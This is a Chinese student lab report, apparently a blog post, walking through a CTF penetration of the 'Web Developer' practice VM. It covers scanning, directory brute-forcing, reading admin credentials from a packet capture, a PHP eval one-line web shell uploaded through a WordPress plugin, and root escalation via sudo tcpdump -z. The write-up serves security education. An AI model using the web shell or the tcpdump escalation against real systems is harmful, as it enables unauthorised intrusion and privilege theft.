网络渗透实验四 CTF实践

实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper
实验工具:不限

实验步骤和内容:

目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。

1.发现目标,找到WebDeveloper的IP地址。

192.168.187.132

网络渗透实验四 CTF实践

2.利用NMAP扫描目标主机,发现目标主机端口开放、服务情况。

nmap 192.168.187.132

网络渗透实验四 CTF实践
3.若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。
因为网站开放了80端口,于是尝试登陆http。
网络渗透实验四 CTF实践

4.利用whatweb探测目标网站使用的CMS模板

whatweb 192.168.187.132

网络渗透实验四 CTF实践

5.使用 Dirb 爆破网站目录,找到一个似乎和网络流量有关的目录(路径)。

dirb http://192.168.187.132

网络渗透实验四 CTF实践

6.浏览器访问该目录(路径),发现一个cap文件。
网络渗透实验四 CTF实践

7.利用Wireshark分析该数据包,分析TCP数据流
网络渗透实验四 CTF实践
网络渗透实验四 CTF实践
通过关键词http筛选、查找到一个post的数据流,找到登录界面,得到一个网站管理员账号密码

8.利用上一步得到的信息进入网站后台

网络渗透实验四 CTF实践
9.从网站插件导入一句话木马

<?php @eval($_POST['需要用到的密码'])?>

我在此处设置的密码是123
网络渗透实验四 CTF实践
10.通过中国蚁剑得到网站的相关文件,查看wp-config.php获得账号及口令
网络渗透实验四 CTF实践
网络渗透实验四 CTF实践
在里面找到了数据库的账号和密码
11.SSH登录服务器—尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。
在第二个步骤查看端口开放ssh端口,于是尝试访问ssh端口。

ssh webdeveloper@192.168.187.132

但是遇到了以下的问题
网络渗透实验四 CTF实践

在这里我们可以通过修改配置文件登陆ssh。
通过sudo vim /etc/ssh/ssh_config打开配置文件
找到# StrictHostKeyChecking ask修改成StrictHostKeyChecking no
回车输入:wq保存修改
网络渗透实验四 CTF实践
再次尝试登陆,成功登陆进入ssh。
网络渗透实验四 CTF实践
尝试查看/root/flag.txt发现权限不足。
网络渗透实验四 CTF实践
网络渗透实验四 CTF实践
查看当前身份可执行的命令。
网络渗透实验四 CTF实践
发现root权限可以使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令)

创建攻击文件

touch /tmp/exploit1

写入shellcode

echo 'cat /root/flag.txt' > /tmp/exploit

赋予可执行权限

chmod +x /tmp/exploit

利用tcpdump执行任意命令

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

网络渗透实验四 CTF实践
最后就可以获得flag啦!!!
网络渗透实验四 CTF实践

tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量

上一篇:tcpdump抓包工具的使用说明


下一篇:tcpdump 抓包命令(转)